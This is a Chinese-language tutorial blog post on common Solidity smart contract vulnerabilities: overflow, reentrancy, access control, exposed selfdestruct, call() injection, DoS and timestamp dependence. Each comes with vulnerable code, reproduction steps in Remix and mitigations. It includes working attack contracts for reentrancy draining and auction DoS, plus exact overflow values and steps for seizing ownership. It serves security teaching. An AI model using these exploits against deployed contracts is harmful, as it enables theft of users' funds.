说一下这个智能合约中常见的漏洞总结复现#技术创作101训练营#

整型溢出漏洞

用书上的例子来介绍一下:

一个小朋友,他可以数着手指运算十以内的运算,比如 1+1=2,他可以用两个手指算出来,但是如果你问他 5+6 等于多少,他数完十个手指之后发现手指不够用了,就会把手指扳回来,说:结果为 1,对于小朋友来说,这个问题就超纲“溢出”了

在 solidity 中,当一个整型变量高于或者低于他所能承受的范围时,就会发生溢出,导致一些不可预期的情况出现。例如,当用户转账金额超过系统预设的最大值时,只要用户金额大于零,用户就可以直接将巨额的代币转走

代码片段

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool){
  uint cnt = _receivers.length;
  uint 256 amount = uint256(cnt) * _value;
  //出现了乘法运算,且amount缺少溢出判断,因此存在溢出的可能
  require(cnt > 0 && cnt <=20);
  require(_value >0 && balances[msg.sender] >= amount);
  //存在通过将amount溢出为0或极小值来绕过余额判断的可能
  balances[msg.sender] = balances[msg.sender].sub(amount);
  for(uint i = 0; i < cnt; i++){
    balances[_receivers[i]] = balances[_receivers[i]].add(_value);
    Transfer(msg.sender, _receivers[i], _value);
  }
  return true;
}

这个函数的作用是:让用户同时向多个人转账。第一个参数 _receivers 为 Address 数组类型,代表接收者地址,也就是可以向一整个数组的人转账。第二个参数 _value 为转账金额。

这个函数的逻辑是:

获得数组的成员数(cnt),计算一共转多少钱(amount)

成员数要大于 0 且小于 20 ,然后转账的数值要大于 0 且要小于拥有的金额数才能继续

漏洞分析

uint 256 amount = uint256(cnt) * _value;

在上下文中,没有对 amount 进行溢出判断,如果攻击者将 amount 溢出为 0 或者其他很小的值就能绕过用于对账户余额的判断

require(_value >0 && balances[msg.sender] >= amount);

在代码中可以看到 转账的金额能够被 cnt 和 _value 所控制,所以我们可以操纵这俩数值,来达到目的

具体步骤如下:

  1. 创建两个地址,用于接收溢出转账
  2. 调用 batchTransfer() 函数,将 _receivers 设置为 uint256 的最大值 / 2 + 1
  3. 这样,当计算 amount = uint256 的最大值 + 1,就超过了 uint256 的最大范围,成功溢出为 0

奇数 115792089237316195423570985008687907853269984665640564039457584007913129639935 是 uint256 的最大值,如果把他除以二(刚好需要向下取整)然后加一,把这个作为 _value 的值,这样,再乘以一个 cnt 的值,得到的就刚好溢出

  1. 代码执行后,两个地址都会得到 _value 个 Token,也就是这两个账号会凭空增加 57896044618658097711785492504343953926634992332820282019728792003956564819968 个 Token(也就是 _value 值)

代码调试

这里 看一下

代码复制出来,然后拿到 remix IDE 里面去编译一下

然后在 Run 里面,选择 Environment 为 JavaScript VM,然后选择 BecToken 合约 点击 Deplay 进行部署

记录一下账户的地址:

1:0xca35b7d915458ef540ade6068dfe2f44e8fa733c(主账户)

2:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c

3:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db

_receivers:

[“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”,”0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db”]

_value:

57896044618658097711785492504343953926634992332820282019728792003956564819968

然后点击 batchTransfer 的 transact

再用 balanceOf 看一下账户余额是不是变化了

一开始主账户的金额:

其他账户(以第二个为例)

转账之后第二个帐户的金额

再来看看第一个账户的金额,还是这样,这就说明我们复现成功了

规避整型溢出:SafeMath库

目前 solidity 还没有解决此问题,所以只能由各个合约自行完成整型溢出的判断

在任何时候,都不要在代码中直接使用 +、-、*、/ 来进行数学运算,而应使用 SafeMath 库

在 SafeMath 库中每个函数开头都用 语句进行了判断,对所有函数都进行了防溢出判断,可以有效地杜绝整型溢出问题

重入漏洞

漏洞分析

以太坊智能合约的特点之一是能够调用其他外部合约的代码,然而这些外部合约可能被攻击者劫持,迫使合约通过回退函数进一步执行代码,包括回调本身。在 gas 足够的情况下,合约之间甚至可以相互循环调用,直至达到 gas 的上限,但是如果循环中有转账之类的操作,就会导致严重的后果

function withdraw(){
  require(msg.sender,call.value(balances[msg.sender])());
  balances[msg.sender]=0;
}

这种函数大多存在于钱包、去中心化交易所中,目的是为了让用户提款,将合约中的代币转换成通用的以太币

但是有个问题是他没有先对用户的代币余额进行清零,而智能合约进行转账的时候会调用收款方 fallback 函数

合约可以有一个未命名的函数 —— Fallback 函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。另外每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。 如果不存在这样的函数,则合约不能通过常规交易接收以太币

如果构造一个 fallback 函数,函数里面也调用对方的 withdraw 函数的话,那将会产生一个循环调用转账功能,存在漏洞的合约会不断向攻击者合约转账,终止循环结束(以太坊 gas 有上限)

以太坊支付通道及提款机制

以太坊的支付流程是:支付方(sender)将钱包里的以太币发送给以太坊网络,然后以太坊网络再把一定数量的以太币分配给接收方(recipient)。此外还要一部分额外的以太币作为交易费,而交易费不与交易量挂钩

这就导致你发送 1 个以太币交易费是 0.00021 以太币,你转 0.0001 个以太币也要 0.00021 以太币,转账金额还不如交易费高显然是不能接受的,所以以太坊网络上建立支付通道,将发送方在网络上的存款和接收方从网络中提款分割为两个独立的活动

对支付通道的使用进行一下说明:

首先发送方向网络发送一适当的存入资金,这笔存款就像交易一样,记录在区块链上,公开确认了发送方的存款行为

然后发送方直接向接收方发送支付承诺,发送方对接收方表示:“如果你发送了一笔包括这个支付承诺的交易,就会收到这些资金。”然而,关键在于这本身不是一笔交易。这意味着生成支付承诺可以省去交易费的成本

发送方还可以向接收方多次发送承诺,比如一共发送了 3 次“发送 0.01 个以太币”的承诺,那接收方现在就有一个发送方的“发送 0.03 个以太币”的承诺

只要把包含这个承诺的交易发送给网络,接收方就会收到这笔钱,而原本存在网络的资金剩下的会再返还给发送者

常用转币方式

<address>.reansfer()

发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入

<address>.send()

发送失败时,返回布尔值 false,只会传递 2300 个 gas 以供调用,从而防止重入

<address>.gas().call.value()()

当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击

代码调试

pragma solidity ^0.4.19;
 
contract Victim {
    mapping(address => uint) public userBalannce;
    uint public amount = 0;
    function Victim() payable{}
    function withDraw(){
        uint amount = userBalannce[msg.sender];
        if(amount > 0){
        msg.sender.call.value(amount)();
            userBalannce[msg.sender] = 0;
        }
    }
    function() payable{}
    function receiveEther() payable{
        if(msg.value > 0){
            userBalannce[msg.sender] += msg.value;
        }
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
}
 
contract Attacker{
    uint public amount = 0;
    uint public test = 0;
    function Attacker() payable{}
    function() payable{
        test++;
        Victim(msg.sender).withDraw();
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
    function sendMoney(address addr){
        Victim(addr).receiveEther.value(1 ether)();
    }
    function reentry(address addr){
        Victim(addr).withDraw();
    }
}

部署 Attacker 合约,给 Attacker 合约 1 以太币

部署之后点击 showAccount 再点击 amount 看一下余额,成功

同样,部署 victim 合约,给他 10 以太币,目前账户余额如下:

调用 Attacker 合约的 sendMoney 函数,给 victim 转一个以太币

调用 Attacker 的 reentry 函数,进行攻击,然后看一下余额,发现原本在 victim 中的以太币全都到了 Attacker 合约中,同时 test 的值为 11,说明 fallback 函数被调用了 11 次

漏洞防范

重入漏洞的关键在于:利用回退函数调用函数本身,形成递归调用,在递归调用的过程中进行了转账操作,导致循环转账。虽然代码中存在判断语句,但是状态更新在函数调用之后,所以状态更新会因为循环调用而迟迟无法执行

广义上看,重入攻击条件有一下两个:

  1. 调用合约外部函数。若外部函数是被攻击者所操纵的合约,就存在隐患
  2. 外部函数操作优先于对状态的写操作

所以,防范的关键在于编写合约的时候把写操作放在外部函数调用之前

访问控制缺陷

访问控制缺陷是因为编写 solidity 智能合约的时候,对于某些判断的定义不严谨或者笔误,导致的某些敏感功能的访问验证被绕过问题。攻击者可以恶意使用某些敏感功能

漏洞分析

先看一段代码片段

//函数修改器用于检验是否允许转移Token
modifier isTokenTransfer{
  //if token transfer is not allow
  if(!tokenTransfer){
    revert();
  }
  _;
}
//函数修改器用于检验是否来自钱包本身
modifier onlyFromWallet{
  require(msg.sender != walletAddress);
  _;
}

contructor(uint initial_balance,address wallet){
  require(wallet !=0);
  require(initial_balance !=0);
  _balances[msg.sender]==initial_balance;
  _supply = initial_balance;
  walletAddress = wallet;
}

function transfer(address to, uint value) isTokenTransfer checkLock returns (bool success){
  require(_balances[msg.sender] >= value);
  _balances[msg.sender] = _balances[msg.sender].sub(value);
  _balances[to] = _balances[to].add(value);
  Transfer(msg.sender,to,value);
  return true;
}
function enableTokenTransfer() external onlyFromWallet{
  tokenTransfer = true;
  TokenTransfer();
}
function disableTokenTransfer() external onlyFromWallet{
  tokenTransfer = false;
  TokenTransfer();
}

在代码中的 transfer 函数,除了转账功能还增加了两个修饰符 isTokenTransfer 和 checkLock,我们主要讨论 isTokenTransfer 函数

modifier isTokenTransfer{
  if(!tokenTransfer){
    revert();
  }
  _;
}

当 tokenTransfer 变量为 false 时,被 isTokenTransfer 修饰的函数是无法正常执行的,在 disableTokenTransfer 函数可以把这个变量改成 false,disableTokenTransfer 有一个修饰符是 onlyFromWallet 字面意思上看应该是只能合约本身去调用的

function disableTokenTransfer() external onlyFromWallet{
  tokenTransfer = false;
  TokenTransfer();
}

onlyFromWallet 函数定义在这里

modifier onlyFromWallet{
  require(msg.sender != walletAddress);
  _;
}

加这个本意是只能合约本身去调用的,但是这里 != 的条件判断下来的话就是 如果调用者不是合约本身反而是通过的了

代码调试

https://cn.etherscan.com/address/0xb5a5f22694352c15b00323844ad545abb2b11028#code

去这里复制一下代码

用默认账户选择 IceToken 合约,在 wallet 中填上默认账户的地址,在 initial_balance 中填上 100,然后部署

切换到第二个账户,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c

先点击 enableTokenTransfer,然后使用 reansfer() 向自己转移 0 个 Token,测试是否能用

然后我们使用 disableTokenTransfer 让转账不可用,注意,我们现在并不是合约的部署者,理论上说是不能修改这样的东西的,否则随便一个人就能让你的用户没法转帐?不能接受吧

他的问题在这里

modifier onlyFromWallet {
       require(msg.sender != walletAddress);
       _;
   }

!= 应该是 == 的,这样结果反而是除合约所有者之外的所有人都可以更改了,实际上韩国有个区块链项目 ICON(ICX) 的智能合约就出现过这个问题

漏洞防范

必须对由于表征权限的变量和表示进行严格的控制,即这些敏感变量也应通过函数修饰符进行权限控制,从而保证权限闭环

特权功能暴露

漏洞分析

  • 在 solidity 中没有被权限修饰符修饰的函数,默认可以被所有人调用(即具有 public 属性)
  • 在 solidity 中有一个内置函数 selfdestruct() (析构函数)销毁当前合约,并把合约余额发送到某个地址中

如果这俩情况同时发生在同一函数上,就意味着所有人都可以调用这个函数来获得合约的余额,当然,也不一定是析构函数,其他涉及敏感操作的函数(比如未鉴权的合约所有人转移、初始化等)暴露也会造成严重的后果

代码片段

function destroycontract(address _to){
  selfdestruct(_to);
}

这个函数是销毁合约的函数,但是却没有进行修饰,导致任何人都可以调用这个函数来销毁合约

代码调试

https://cn.etherscan.com/address/0xb5c0e43a6330b9eb904ec57ea24d70269ae4652e#code

部署 Zapit 合约

先随便试试,是正常可用的

用第二个账户销毁合约

再看看已经没法用了

漏洞防范

对于敏感操作要严格控制权限,还是要仔细吧。。。

跨合约调用漏洞

漏洞概述

在 solidity 中合约之间的相互调用有两种方式:

  • 使用封装的方式,将合约地址封装成一个合约对象来调用它的函数
  • 直接使用函数来调用其他合约

solidity 提供了 call()、delegatecall()、callcode() 三个函数来实现合约直接的调用及交互,这些函数的滥用导致了各种安全风险和漏洞。在使用第二种方式时,如果处理不当很可能产生致命的漏洞 —— 跨合约调用漏洞,主要就是 call() 注入函数导致的

call() 函数对某个合约或者本地合约的某个方法的调用方式:

  • <address>.call(方法选择器,arg1,arg2,…)
  • <address>.call(bytes)

通过传递参数的方式,将方法选择器、参数进行传递,也可以直接传入一个字节数组(bytes要自己构造)

举一个简单的例子

contract sample_1{
  function info(bytes data){
    this.call(data);
  }
  function secret() public{
    require(this == msg.sender);
    //secret operations
  }
}

合约的两个函数中 secret 函数必须是合约自身调用的,然而有个 info 函数,调用了 call(),并且外界是可以直接控制 call 函数的字节数组的

this.call(bytes4(keccak256("secret()"))); 这样就调用了 secret

第二个例子

contract sample2{
 ...
  function logAndCall(address _to,uint _value,bytes data,string _fallback){
  ...
  assert(_to.call(bytes4(keccak256(_fallback)),msg.sender,_value,_data));
    ...
 ...
}

在 logAndCall 函数中,我们的 _falback 参数可以控制,所以我们可以控制 _to 的任何方法。另外 assert 有三个参数,我们没必要调用完全符合三个参数类型的合约,因为在 EVM 中,只要找到了方法需要的参数,就会去执行,其他参数就会被忽略,不会产生任何影响

漏洞分析

function transferFrom(address _from,address _to,uint256 _amount,bytes _data,string_custom_fallback) public returns (bool success){
  //Alerts the token controller of the transfer
  if(isContract(controller)){
    throw;
  }
  require(super.transferFrom(_from,_to,_amount));
  if(isContract(_to)){
    ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
    receiver.call.value(0)(bytes4(keccack256(_custom_fallback)),_from,_amount,_data);
  }
  ERC223Transfer(_from,_to,_amount,_data);
  return true;
}

function setOwner(address owner_) public auth{
  owner - owner_;
  LogSetOwner(owner);
}

modifier auth{
  require(isAuthorized(msg.sender,msg.sig));
  _;
}

function isAuthorized(address src,bytes4 sig) internal view returns (bool){
  if(src==address(this)){
    return true;
  } else if (src == owner){
    return true;
  } else if (authority == DSAuthority(0)){
    return false;
  } else {
    return authority.canCall(src,this,sig);
  }
}

核心漏洞代码片段

function transferFrom(address _from,address _to,uint256 _amount,bytes _data,string_custom_fallback) public returns (bool success){
  //Alerts the token controller of the transfer
  if(isContract(controller)){
    throw;
  }
  require(super.transferFrom(_from,_to,_amount));
  if(isContract(_to)){
    ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
    receiver.call.value(0)(bytes4(keccack256(_custom_fallback)),_from,_amount,_data);
  }

代码含义:如果目标地址是智能合约,就调用目标的 custom 回退函数,并依次填入参数 _from,_amount,_data,这些都是我们可控的,另外 _to 参数也仅仅进行了是否是合约地址的判断,所以我们可以通过 _to 来控制合约本身,并调用该合约的任意 public 函数

代码调试

https://cn.etherscan.com/address/0x461733c17b0755ca5649b6db08b3e213fcf22546#code

由于这个合约的计算比较多,所以在 Gas limit 值加上个 0 让他大一点

点击 owner 查看合约所有者的地址,返回了默认账户的地址 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c

调用带有 _custom_fallback 参数的 transferFrom() 函数,我们的目的是让合约属于第二个账户,所以填写如下参数:

  • _from 参数为第二个账户的地址
  • _to 参数为合约地址
  • _custom_fallback 参数为 setOwner() 函数
  • 另外两个参数随意

再看一下,合约所有者已经成了第二个账户的地址了

漏洞防范

虽然 call()、delegatecall()、callnode() 三个函数为合约间调用提供了很大的便利,但是存在很大隐患,所以防范跨合约调用漏洞的方法就是减少对这三个函数的使用。很多功能都可以用高级函数来实现

拒绝服务漏洞

漏洞概述

DoS(Denial of Service)漏洞,拒绝服务,在智能合约中,攻击者通过消耗资源,让用户短暂的(某些情况下永久地)退出不可操作的合约,从而把以太币锁在被攻击的合约中

漏洞分析

在外部操纵映射或数组循环

这种攻击方式通常出现在合约所有者希望在其投资者之间分配代币,以及在合约中可以看到类似 distribute() 函数的情况

contract DistributeTokens{
  address public owner;
  address[] investors;
  uint[] investorTokens;
  
  function invest() public payable{
    investors.push(msg.sender);
    investorTokens.push(msg.value * 5);
  }
  
  function distribute() public {
    require(msg.sender == owner);
    for(uint i = 0;i<investors.length;i++){
      transferToken(investors[i],investorTokens[i]);
    }
  }
}

合约的循环遍历数组可以被人为扩充,攻击者可以创建多个账户,让 investors 的数据变得更大。理论上,攻击者可以执行 for 循环所需的 gas 数量超过区块 gas 上限,从而使得 distribute() 无法操作

所有者合约

所有者在合约中具有特定的权限,且必须执行一些任务,才能使合约进入下一个状态,例如 ICO 合约要求所有者使用 finalize() 方法签订合约,然后才能转移代币

bool public isFinalized = false;
address public owner;
function finalize() public {
  require(msg.sender = owner);
  isFinalized == true;
}
function transfer(address _to,uint _value) returns(bool){
  require(isFinalized);
  super.transfer(_to,_value)
}

如果权限用户丢失,其私钥可能会变为非活动状态,于是代币合约就无法被操控。在这种情况下,如果 owner 无法调用 finalize() 函数,则代币无法转让,也就是说,代币系统的全部运作都取决于一个地址

基于外部调用的进展状态

有时候合约被编写成进入新的状态,需要将以太币发送到某个地址或者等待来自外部的某些输入。当外部调用失败或者由于外部原因而被阻止,也可能导致拒绝服务攻击

必须用户可以创建一个不接受以太币的合约,如果合约需要将以太币发到构建的这个合约才能进入新状态,那合约就永远不达到新状态

代码调试

pragma solidity ^0.4.22;
contract Auction{
    address public currentLeader;
    uint256 public highestBid;
    function bid() public payable{
        require(msg.value > highestBid);
        require(currentLeader.send(highestBid));
        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

contract POC{
    address public owner;
    Auction public auInstance;
    constructor() public{
        owner = msg.sender;
    }
    modifier onlyOwner(){
        require(owner==msg.sender);
        _;
    }
    function setInstance(address addr) public onlyOwner{
        auInstance = Auction(addr);
    }
    function attack() public payable onlyOwner{
        auInstance.bid.value(msg.value)();
    }
    function() external payable{
        revert();
    }
}

每当执行的 bid() 函数的时候,如果当前交易携带的以太币的数量大于 highestBid 的值,那么 highestBid 所对应的数量的以太币将被退回 currentLeader。设置当前竞拍者为 currentLeader,将 highestBid 改为 msg.value

在上面的 POC 合约中,setInstance() 函数将传入攻击对象合约,attack() 函数将加入拍卖机制关键还是回退函数(这里指 function() external payable 函数)。当新的 bider 参与竞标时,执行到 reauire(currentLeader.send(highestBid)) 将会因为攻击合约的回退函数无法接受以太币返回 false,最终攻击合约以较少的以太币赢得竞标

使用默认账户部署 Auction 合约,查看一下初始状态

使用 10 wei 拍下合约,然后再查看,会发现 currentLeader 已经成了默认账户

使用第二个账户部署 POC 合约,然后复制第一个合约的地址,复制到 setInstance

使用 第二个账户,设置为 20 个 value,然后点击 attack

因为 attack() 会调用 Auction 合约的 bid() 函数,所以可以看到 Auction 合约的 currentLeader 已经成了第二个账户

即使其他用户再用更高的 wei 去竞标也会失败

漏洞防范

函数应该加入异常处理机制

矿工特权隐患

漏洞概述

主要是指依赖时间戳的合约,比如一个抽奖的合约,会根据当前时间戳与一些其他的变量计算出来“幸运数”,如果参与者拥有幸运数相同的编码就可以拿到奖品,那么矿工在挖矿的过程中,可以提前尝试不同的时间戳,把奖品送给自己想送给的人

相关案例

鉴于没法在 remix IDE 中复现,来说个案例,GovernMental 一个“庞氏骗局”合约会在一轮合约内向最后一个加入合约的玩家(需要至少加入一分钟)进行支付,因此,作为矿工的玩家可以调整时间戳,让合约以为该玩家已经加入超过一分钟了

正文完